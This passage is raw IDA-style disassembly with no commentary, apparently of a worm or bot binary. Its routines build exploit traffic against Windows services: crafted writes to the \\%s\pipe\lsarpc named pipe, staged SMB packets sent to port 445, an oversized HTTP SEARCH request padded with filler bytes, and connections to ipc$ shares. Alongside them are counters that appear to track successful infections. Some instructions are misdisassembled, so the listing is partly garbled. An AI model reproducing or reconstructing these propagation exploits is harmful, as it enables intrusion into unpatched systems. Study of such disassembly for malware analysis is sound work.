cmp [ebp+arg_C], eax
jnb short loc_40E452
or eax, 0FFFFFFFFh
jmp short loc_40E471
; ---------------------------------------------------------------------------
loc_40E452: ; CODE XREF: sub_40E43E+Dj
xor ecx, ecx
test esi, esi
jbe short loc_40E46E
mov eax, [ebp+arg_8]
loc_40E45B: ; CODE XREF: sub_40E43E+2Ej
mov edx, [ebp+arg_0]
mov dl, [ecx+edx]
mov [eax], dl
and byte ptr [eax+1], 0
inc ecx
inc eax
inc eax
cmp ecx, esi
jb short loc_40E45B
loc_40E46E: ; CODE XREF: sub_40E43E+18j
mov eax, [ebp+arg_C]
loc_40E471: ; CODE XREF: sub_40E43E+12j
pop esi
pop ebp
retn
sub_40E43E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10A8h
call sub_41DEB0
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push 1
push eax
call sub_417569
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E6E1
push 0FDE8h
push 539h
call sub_41801E
pop ecx
mov [ebp-0Ch], eax
pop ecx
push eax
call ds:dword_4514F4
movzx eax, ax
xor eax, 9999h
push 2
mov [ebp-10h], eax
lea eax, [ebp-10h]
push eax
push offset dword_446D8C
call sub_41E840
mov eax, esi
add esp, 0Ch
dec eax
dec eax
jz loc_40E5AF
push 8522h
mov dword ptr [ebp-8], 8520h
call sub_41FD90
xor ebx, ebx
mov esi, eax
mov dword ptr [esp], 8521h
push ebx
push esi
call sub_41D100
push 24h
push offset dword_446EF4
push esi
call sub_41E840
lea edi, [esi+24h]
mov ecx, 1FFAh
mov eax, 1004600h
push 2
rep stosd
lea eax, [esi+7FF4h]
push ebx
push eax
call sub_41D100
push 4FAh
lea eax, [esi+7FF6h]
push offset dword_4473E4
push eax
call sub_41E840
mov eax, 4001h
push 5
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+7E0h]
push offset dword_446E78
push eax
mov dword ptr [esi+8], 8520h
mov dword ptr [esi+10h], 84F0h
call sub_41E840
lea eax, [esi+24h]
add esp, 3Ch
mov edi, eax
mov dword ptr [ebp-4], 1AAh
loc_40E57E: ; CODE XREF: seg000:0040E592j
push 1
push 90h
push edi
call sub_41D100
add esp, 0Ch
inc edi
dec dword ptr [ebp-4]
jnz short loc_40E57E
push 195h
lea eax, [esi+3Ch]
push offset loc_446CDC
push eax
call sub_41E840
add esp, 0Ch
jmp loc_40E6AE
; ---------------------------------------------------------------------------
loc_40E5AF: ; CODE XREF: seg000:0040E4D9j
push 24F2h
mov dword ptr [ebp-8], 24F0h
call sub_41FD90
xor ebx, ebx
mov esi, eax
mov dword ptr [esp], 24F1h
push ebx
push esi
call sub_41D100
push 24h
push offset dword_446ED0
push esi
call sub_41E840
lea edi, [esi+24h]
mov ecx, 800h
mov eax, offset loc_410041
push 2
rep stosd
lea eax, [esi+2024h]
push ebx
push eax
call sub_41D100
push 4CAh
lea eax, [esi+2026h]
push offset dword_446F18
push eax
call sub_41E840
mov eax, 1001h
push 4
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+1654h]
push offset dword_446E74
push eax
mov dword ptr [esi+8], 24F0h
mov dword ptr [esi+10h], 24C0h
call sub_41E840
push 8
lea eax, [esi+165Ch]
push offset off_446E80
push eax
call sub_41E840
add esp, 48h
mov edi, 32Ah
push edi
call sub_41FD90
push edi
push ebx
push eax
mov [ebp-4], eax
call sub_41D100
push edi
mov edi, [ebp-4]
push edi
push 195h
push offset loc_446CDC
call sub_40E43E
add esp, 20h
cmp eax, 0FFFFFFFFh
jnz short loc_40E693
push edi
call sub_41FCE0
pop ecx
loc_40E68E: ; CODE XREF: seg000:0040E898j
push 1
pop eax
jmp short loc_40E6E3
; ---------------------------------------------------------------------------
loc_40E693: ; CODE XREF: seg000:0040E685j
push 328h
lea eax, [esi+1664h]
push edi
push eax
call sub_41E840
push edi
call sub_41FCE0
add esp, 10h
loc_40E6AE: ; CODE XREF: seg000:0040E5AAj
cmp dword ptr [ebp+0A8h], 87h
jz loc_40E7B3
cmp dword ptr [ebp+0A8h], 1BDh
jz short loc_40E6E8
cmp dword ptr [ebp+0A8h], 401h
jz loc_40E7B3
loc_40E6DA: ; CODE XREF: seg000:0040E6F9j
; seg000:0040E7E6j ...
push esi
call sub_41FCE0
loc_40E6E0: ; CODE XREF: seg000:0040E78Dj
pop ecx
loc_40E6E1: ; CODE XREF: seg000:0040E496j
; seg000:0040E87Dj
xor eax, eax
loc_40E6E3: ; CODE XREF: seg000:0040E691j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40E6E8: ; CODE XREF: seg000:0040E6C8j
lea eax, [ebp-44h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40A958
pop ecx
test eax, eax
pop ecx
jz short loc_40E6DA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-0A8h]
push offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc"
push eax
call sub_41D260
add esp, 0Ch
lea eax, [ebp-0A8h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_4F1380 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40E77D
lea eax, [ebp-4]
push ebx
push eax
lea eax, [ebp-10A8h]
push 1000h
push eax
push 48h
push offset dword_446E88
push edi
call near ptr 3D0000h
dec esi
cmp byte ptr [ebp-10A6h], 0Ch
jz short loc_40E762
push edi
jmp short near ptr loc_40E776+1
; ---------------------------------------------------------------------------
loc_40E762: ; CODE XREF: seg000:0040E75Dj
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-8]
push esi
push edi
call near ptr 3D0000h
mov eax, 7557C085h
loc_40E776: ; CODE XREF: seg000:0040E760j
sbb edi, edi
adc eax, offset dword_4F12FC
loc_40E77D: ; CODE XREF: seg000:0040E735j
lea eax, [ebp+0Ch]
push eax
call sub_40AA3E
push esi
call sub_41FCE0
pop ecx
jmp loc_40E6E0
; ---------------------------------------------------------------------------
call ds:dword_4F12FC ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40AA3E
push esi
call sub_41FCE0
pop ecx
pop ecx
push 1F4h
jmp loc_40E857
; ---------------------------------------------------------------------------
loc_40E7B3: ; CODE XREF: seg000:0040E6B8j
; seg000:0040E6D4j
lea eax, [ebp+0Ch]
mov word ptr [ebp-24h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-20h], eax
call ds:dword_4514F4
push ebx
push 1
push 2
mov [ebp-22h], ax
call ds:dword_451570
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_40E6DA
lea eax, [ebp-24h]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40E6DA
push ebx
push 48h
push offset dword_446E88
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40E6DA
push ebx
lea eax, [ebp-10A8h]
push 2710h
push eax
push edi
call ds:dword_45150C
push ebx
push dword ptr [ebp-8]
push esi
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40E6DA
push edi
call ds:dword_451588
push esi
call sub_41FCE0
mov dword ptr [esp], 1F4h
loc_40E857: ; CODE XREF: seg000:0040E7AEj
call ds:dword_4F12F4 ; Sleep
push dword ptr [ebp-0Ch]
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz loc_40E6E1
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
jmp loc_40E68E
; =============== S U B R O U T I N E =======================================
sub_40E89D proc near ; CODE XREF: seg000:0040EA31p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push esi
call sub_41AC70
pop ecx
mov ecx, [esp+4+arg_0]
lea ecx, [ecx+eax*2-1]
loc_40E8B1: ; CODE XREF: sub_40E89D+25j
mov edx, eax
dec eax
test edx, edx
jz short loc_40E8C4
and byte ptr [ecx], 0
mov dl, [eax+esi]
dec ecx
mov [ecx], dl
dec ecx
jmp short loc_40E8B1
; ---------------------------------------------------------------------------
loc_40E8C4: ; CODE XREF: sub_40E89D+19j
pop esi
retn
sub_40E89D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 25A8h
call sub_41DEB0
push ebx
push esi
lea eax, [ebp-11A8h]
push edi
push eax
push 2
call ds:dword_4F14DC ; WSAStartup
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_451570
mov edi, eax
cmp edi, ebx
mov [ebp-8], edi
jl loc_40EC36
push 1BDh
mov word ptr [ebp-18h], 2
call ds:dword_4514F4
mov [ebp-16h], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_451530
mov [ebp-14h], eax
push 8
lea eax, [ebp-10h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-18h]
push 10h
push eax
push edi
call ds:dword_45149C
test eax, eax
jl loc_40EC36
push ebx
push 89h
push offset dword_4478F4
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
mov esi, 1000h
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
cmp [ebp-259Fh], bl
jnz loc_40EC36
push ebx
push 0A8h
push offset dword_447980
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
push ebx
push 0DEh
push offset dword_447A2C
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
cmp [ebp-259Fh], bl
jnz loc_40EC36
push 30h
lea eax, [ebp-1018h]
push offset dword_447B0C
push eax
call sub_41E840
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-15A8h]
push offset dword_447EFC
push eax
call sub_41D260
lea eax, [ebp-15A8h]
push eax
lea eax, [ebp-0FE8h]
push eax
call sub_40E89D
lea eax, [ebp-15A8h]
push eax
call sub_41AC70
shl eax, 1
movzx ecx, ax
add eax, 9
push 1
mov [ebp-4], eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-0FEBh]
push eax
lea edi, [ebp+ecx-0FE8h]
call sub_41E840
push 8
push offset dword_447B40
push edi
call sub_41E840
add edi, 8
lea ecx, [ebp-1018h]
mov ax, di
push 1
sub ax, cx
sub eax, 4
mov [ebp-4], eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-1015h]
push eax
call sub_41E840
add esp, 48h
lea eax, [ebp-1018h]
sub edi, eax
lea eax, [ebp-1018h]
push ebx
push edi
mov edi, [ebp-8]
push eax
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
cmp [ebp-259Fh], bl
jnz loc_40EC36
push ebx
push 6Ah
push offset dword_447B4C
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
cmp [ebp-259Fh], bl
jnz loc_40EC36
push ebx
push 0A0h
push offset dword_447BB8
push edi
call ds:dword_451540
test eax, eax
jl loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0Ah
jle loc_40EC36
cmp [ebp-259Fh], bl
jnz loc_40EC36
push esi
lea eax, [ebp-1018h]
push 0FFFFFF90h
push eax
call sub_41D100
push 130h
lea eax, [ebp-1018h]
push offset dword_447C5C
push eax
call sub_41E840
add esp, 18h
push 4E1Ah
call ds:dword_4514F4
mov ds:word_447E5A, ax
push 158h
lea eax, [ebp-0EE8h]
push offset dword_447DA0
push eax
call sub_41E840
push 0Ch
lea eax, [ebp-790h]
push offset dword_447D90
push eax
call sub_41E840
add esp, 18h
lea eax, [ebp-1018h]
push ebx
push 894h
push eax
push edi
call ds:dword_451540
test eax, eax
jl short loc_40EC36
push ebx
lea eax, [ebp-25A8h]
push esi
push eax
push edi
call ds:dword_45150C
push 12Ch
call ds:dword_4F12F4 ; Sleep
push 4A2Dh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
test al, al
jz short loc_40EC36
mov eax, [ebp+0B0h]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40EC38
; ---------------------------------------------------------------------------
loc_40EC36: ; CODE XREF: seg000:0040E8F9j
; seg000:0040E93Fj ...
xor eax, eax
loc_40EC38: ; CODE XREF: seg000:0040EC34j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC3D proc near ; CODE XREF: seg000:0040EDCFp
; seg000:0040EDEDp
var_210 = byte ptr -210h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 210h
push esi
xor esi, esi
cmp [ebp+arg_BC], esi
push edi
jnz short loc_40EC6C
push 4
push offset dword_447F08
push offset byte_447F4D
call sub_41E840
push 4
push offset dword_447F10
jmp short loc_40EC91
; ---------------------------------------------------------------------------
loc_40EC6C: ; CODE XREF: sub_40EC3D+13j
cmp [ebp+arg_BC], 1
jnz loc_40EDB4
push 4
push offset dword_447F18
push offset byte_447F4D
call sub_41E840
push 4
push offset dword_447F20
loc_40EC91: ; CODE XREF: sub_40EC3D+2Dj
push offset aRrrrrrrrrrrrrr ; ""...
call sub_41E840
add esp, 18h
push offset byte_43CCBC
push [ebp+arg_0]
call sub_402617
pop ecx
push eax
lea eax, [ebp+var_210]
push 200h
push eax
call sub_408BB0
add esp, 10h
test eax, eax
jz loc_40EDB4
push esi
push 1
push 2
call ds:dword_451570
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_40EDB4
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_A0]
call ds:dword_4514F4
mov [ebp+var_E], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_451530
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40EDAD
push esi
push 85h
push offset dword_447F28
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40EDAD
mov esi, ds:dword_4F12F4
push 0Ah
call esi ; dword_4F12F4
and [ebp+arg_BC], 0
loc_40ED4F: ; CODE XREF: sub_40EC3D+146j
lea eax, [ebp+var_210]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40EDAD
push 0Ah
call esi ; dword_4F12F4
inc [ebp+arg_BC]
cmp [ebp+arg_BC], 7
jl short loc_40ED4F
push 3E8h
call esi ; dword_4F12F4
push edi
call ds:dword_451588
mov eax, [ebp+arg_A8]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40EDB6
; ---------------------------------------------------------------------------
loc_40EDAD: ; CODE XREF: sub_40EC3D+E4j
; sub_40EC3D+FFj ...
push edi
call ds:dword_451588
loc_40EDB4: ; CODE XREF: sub_40EC3D+36j
; sub_40EC3D+86j ...
xor eax, eax
loc_40EDB6: ; CODE XREF: sub_40EC3D+16Ej
pop edi
pop esi
leave
retn
sub_40EC3D endp
; ---------------------------------------------------------------------------
push esi
push edi
push 0
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EC3D
add esp, 0C0h
lea esi, [esp+0Ch]
push 1
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EC3D
add esp, 0C0h
push 1
pop eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push dword ptr [ebp+8]
call ds:dword_4F14F0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40EE35
push dword ptr [ebp+8]
call ds:dword_4F14D8 ; gethostbyname
test eax, eax
jnz short loc_40EE22
leave
retn
; ---------------------------------------------------------------------------
loc_40EE22: ; CODE XREF: seg000:0040EE1Ej
mov eax, [eax+0Ch]
push 4
push dword ptr [eax]
lea eax, [ebp-4]
push eax
call sub_41E840
add esp, 0Ch
loc_40EE35: ; CODE XREF: seg000:0040EE11j
mov eax, [ebp-4]
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE3A proc near ; CODE XREF: seg000:0040F02Ap
var_23950 = byte ptr -23950h
var_100D0 = byte ptr -100D0h
var_100CF = byte ptr -100CFh
var_FFB5 = byte ptr -0FFB5h
var_FFB4 = byte ptr -0FFB4h
var_6D0 = byte ptr -6D0h
var_D0 = byte ptr -0D0h
var_CC = byte ptr -0CCh
var_44 = byte ptr -44h
var_43 = byte ptr -43h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
mov eax, 23950h
call sub_41DEB0
mov al, ds:byte_4E260C
push ebx
push esi
push edi
push 0Ch
mov [ebp+var_44], al
pop ecx
xor eax, eax
lea edi, [ebp+var_43]
push 22h
rep stosd
stosb
mov al, ds:byte_4E2610
mov ecx, 3FFFh
mov [ebp+var_100D0], al
xor eax, eax
lea edi, [ebp+var_100CF]
mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
rep stosd
stosw
stosb
pop ecx
lea edi, [ebp+var_CC]
push [ebp+arg_8]
rep movsd
call ds:dword_4F14D4 ; ntohs
push [ebp+arg_4]
xor eax, 8080h
mov ds:word_44809F, ax
call ds:dword_4514F4
push [ebp+arg_0]
mov [ebp+var_E], ax
mov [ebp+var_10], 2
call ds:dword_451530
xor ebx, ebx
mov [ebp+var_C], eax
push ebx
push 1
push 2
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+arg_8], esi
jnz short loc_40EEDC
push 1
pop eax
jmp loc_40F007
; ---------------------------------------------------------------------------
loc_40EEDC: ; CODE XREF: sub_40EE3A+98j
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jnz short loc_40EEF5
or eax, eax
jmp loc_40F007
; ---------------------------------------------------------------------------
loc_40EEF5: ; CODE XREF: sub_40EE3A+B2j
mov ecx, 4000h
mov eax, 43434343h
lea edi, [ebp+var_100D0]
rep stosd
xor eax, eax
loc_40EF09: ; CODE XREF: sub_40EE3A+F0j
cmp eax, 22Dh
jnb short loc_40EF2C
mov cl, ds:byte_447FD0[eax]
mov [ebp+eax+var_6D0], cl
inc eax
lea ecx, [eax+0FA00h]
cmp ecx, 10000h
jb short loc_40EF09
loc_40EF2C: ; CODE XREF: sub_40EE3A+D4j
mov al, [ebp+arg_C]
push 13880h
mov [ebp+var_FFB5], al
mov al, [ebp+arg_10]
mov [ebp+var_FFB4], al
lea eax, [ebp+var_23950]
push ebx
push eax
mov [ebp+var_D0], bl
call sub_41D100
push 32h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41D100
push [ebp+arg_0]
lea eax, [ebp+var_100D0]
push eax
lea eax, [ebp+var_23950]
push offset aSearchSHttp1_1 ; "SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-"...
push eax
call sub_41D260
lea eax, [ebp+var_CC]
push eax
call sub_41AC70
push eax
lea eax, [ebp+var_23950]
push eax
lea eax, [ebp+var_23950]
push offset aSD ; "%s%d\r\n\r\n"
push eax
call sub_41D260
add esp, 3Ch
lea eax, [ebp+var_23950]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_23950]
push eax
push esi
mov esi, ds:dword_4F14E8
call esi ; dword_4F14E8
lea eax, [ebp+var_CC]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_CC]
push eax
push [ebp+arg_8]
call esi ; dword_4F14E8
push ebx
lea eax, [ebp+var_44]
push 32h
push eax
push [ebp+arg_8]
call ds:dword_45150C
cmp [ebp+var_44], bl
jz short loc_40EFF9
or esi, 0FFFFFFFFh
jmp short loc_40EFFC
; ---------------------------------------------------------------------------
loc_40EFF9: ; CODE XREF: sub_40EE3A+1B8j
push 1
pop esi
loc_40EFFC: ; CODE XREF: sub_40EE3A+1BDj
push [ebp+arg_8]
call ds:dword_451588
mov eax, esi
loc_40F007: ; CODE XREF: sub_40EE3A+9Dj
; sub_40EE3A+B6j
pop edi
pop esi
pop ebx
leave
retn
sub_40EE3A endp
; ---------------------------------------------------------------------------
push esi
push edi
mov edi, offset dword_448200
mov esi, 83h
loc_40F018: ; CODE XREF: seg000:0040F040j
push dword ptr [edi+4]
lea eax, [esp+14h]
push dword ptr [edi]
push esi
push dword ptr [esp+0B8h]
push eax
call sub_40EE3A
add esp, 14h
cmp eax, 0FFFFFFFFh
jz short loc_40F089
add edi, 8
cmp edi, offset dword_448260
jle short loc_40F018
push 1F4h
call ds:dword_4F12F4 ; Sleep
push esi
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz short loc_40F089
mov eax, [esp+0B4h]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40F08B
; ---------------------------------------------------------------------------
loc_40F089: ; CODE XREF: seg000:0040F035j
; seg000:0040F06Cj
xor eax, eax
loc_40F08B: ; CODE XREF: seg000:0040F087j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40F08E proc near ; CODE XREF: sub_40F19D+C9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
xor esi, esi
cmp [esp+4+arg_4], esi
jbe short loc_40F0BD
mov edx, [esp+4+arg_8]
loc_40F09B: ; CODE XREF: sub_40F08E+2Dj
mov eax, [esp+4+arg_0]
mov cl, [esi+eax]
mov al, cl
and cl, 0Fh
shr al, 4
add cl, 41h
add al, 41h
mov [edx], cl
mov [edx+1], al
inc esi
inc edx
inc edx
cmp esi, [esp+4+arg_4]
jb short loc_40F09B
loc_40F0BD: ; CODE XREF: sub_40F08E+7j
pop esi
retn
sub_40F08E endp
; ---------------------------------------------------------------------------
loc_40F0BF: ; CODE XREF: seg000:0040F18Cp
; sub_40F19D+45Fp
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte ptr [ebp+30h], 0
push ebx
push esi
push edi
jz short loc_40F0D3
or byte ptr [ebp+0Fh], 1
jmp short loc_40F0D7
; ---------------------------------------------------------------------------
loc_40F0D3: ; CODE XREF: seg000:0040F0CBj
and byte ptr [ebp+0Fh], 0FEh
loc_40F0D7: ; CODE XREF: seg000:0040F0D1j
mov ebx, [ebp+28h]
mov eax, [ebp+2Ch]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_40F0F8
or byte ptr [ebp+0Fh], 2
and byte ptr [ebp+33h], 0
lea eax, [ebx+18h]
mov [ebp+1Ch], ebx
mov [ebp+14h], ax
jmp short loc_40F10A
; ---------------------------------------------------------------------------
loc_40F0F8: ; CODE XREF: seg000:0040F0E2j
mov [ebp+14h], ax
add eax, 0FFFFFFE8h
and byte ptr [ebp+0Fh], 0FDh
mov [ebp+1Ch], eax
mov byte ptr [ebp+33h], 1
loc_40F10A: ; CODE XREF: seg000:0040F0F6j
movzx eax, word ptr [ebp+14h]
push eax
mov [ebp-4], eax
call sub_41AE40
test eax, eax
pop ecx
mov [ebp+28h], eax
jnz short loc_40F123
loc_40F11F: ; CODE XREF: seg000:0040F163j
xor al, al
jmp short loc_40F198
; ---------------------------------------------------------------------------
loc_40F123: ; CODE XREF: seg000:0040F11Dj
push 6
lea esi, [ebp+0Ch]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+1Ch]
mov esi, [ebp+24h]
push edi
add eax, 18h
push esi
push eax
call sub_41E840
add esp, 0Ch
lea eax, [ebp-8]
push 0
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+28h]
push dword ptr [ebp+8]
call near ptr 3D0000h
jp short near ptr loc_40F155+1 ; CODE XREF: seg000:loc_40F155j
jnz short near ptr loc_40F17F+2
test eax, eax
jnz short loc_40F165
call sub_41B8B0
pop ecx
jmp short loc_40F11F
; ---------------------------------------------------------------------------
loc_40F165: ; CODE XREF: seg000:0040F15Bj
call sub_41B8B0
cmp byte ptr [ebp+33h], 0
pop ecx
jz short loc_40F196
push 0
sub ebx, edi
push dword ptr [ebp+2Ch]
add edi, esi
lea esi, [ebp+0Ch]
push ebx
push edi
loc_40F17F: ; CODE XREF: seg000:0040F157j
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp+8]
rep movsd
call loc_40F0BF
add esp, 2Ch
jmp short loc_40F198
; ---------------------------------------------------------------------------
loc_40F196: ; CODE XREF: seg000:0040F16Fj
mov al, 1
loc_40F198: ; CODE XREF: seg000:0040F121j
; seg000:0040F194j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F19D proc near ; CODE XREF: seg000:0040F64Bp
; seg000:0040F661p ...
var_729F8B40 = dword ptr -729F8B40h
var_CC44 = byte ptr -0CC44h
var_8C44 = byte ptr -8C44h
var_70EC = byte ptr -70ECh
var_50EC = byte ptr -50ECh
var_30EC = byte ptr -30ECh
var_10EC = dword ptr -10ECh
var_7F0 = byte ptr -7F0h
var_7EB = byte ptr -7EBh
var_7AC = byte ptr -7ACh
var_340 = byte ptr -340h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_6C = byte ptr -6Ch
var_68 = byte ptr -68h
var_67 = byte ptr -67h
var_66 = byte ptr -66h
var_65 = byte ptr -65h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = word ptr -5Eh
var_5C = dword ptr -5Ch
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = byte ptr -4Ah
var_48 = byte ptr -48h
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_C = word ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 0CC44h
call sub_41DEB0
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+arg_8]
push ebx
push eax
call sub_417569
pop ecx
cmp eax, 3
pop ecx
jz short loc_40F1C8
xor eax, eax
jmp loc_40F62E
; ---------------------------------------------------------------------------
loc_40F1C8: ; CODE XREF: sub_40F19D+22j
xor edi, edi
push 2B3h
lea eax, [ebp+var_340]
push edi
push eax
call sub_41D100
push 0DACh
lea eax, [ebp+var_10EC]
push edi
push eax
call sub_41D100
push 1B58h
lea eax, [ebp+var_8C44]
push edi
push eax
call sub_41D100
push 0DABh
lea eax, [ebp+var_10EC]
push 41h
push eax
call sub_41D100
mov esi, [ebp+arg_0]
push 5
shl esi, 4
push offset aFb ; "fìÐ\a"
mov eax, ds:dword_448508[esi]
mov ecx, ds:dword_448504[esi]
mov [ebp+eax+var_10EC], ecx
lea eax, [ebp+var_7F0]
push eax
call sub_41E840
push 3Fh
lea eax, [ebp+var_7EB]
push offset sub_4484BC
push eax
call sub_41E840
add esp, 48h
lea eax, [ebp+var_340]
push eax
push 159h
push offset dword_448360
call sub_40F08E
lea eax, [ebp+var_340]
push eax
call sub_41AC70
push eax
lea eax, [ebp+var_340]
push eax
lea eax, [ebp+var_7AC]
push eax
call sub_41E840
lea eax, [ebp+var_340]
push eax
call sub_41AC70
and [ebp+eax+var_7AC], 0
add esp, 20h
xor ecx, ecx
lea eax, [ebp+var_8C44]
loc_40F2AA: ; CODE XREF: sub_40F19D+122j
movzx dx, byte ptr [ebp+ecx+var_10EC]
mov [eax], dx
inc ecx
inc eax
inc eax
cmp ecx, 0DACh
jb short loc_40F2AA
lea eax, [ebp+arg_8]
push eax
push offset aS_32 ; "\\\\%s"
lea eax, [ebp+var_30EC]
push 2000h
push eax
call sub_41D360
lea eax, [ebp+var_30EC]
push 2000h
push eax
lea eax, [ebp+var_CC44]
push eax
call sub_41FEE0
lea eax, [ebp+arg_8]
push offset a__4 ; "."
push eax
call sub_435D40
add esp, 24h
test eax, eax
jz short loc_40F355
lea eax, [ebp+arg_8]
push eax
push offset aSIpc_0 ; "\\\\%s\\ipc$"
lea eax, [ebp+var_50EC]
push 2000h
push eax
call sub_41D360
push 20h
lea eax, [ebp+var_8C]
push edi
push eax
call sub_41D100
add esp, 1Ch
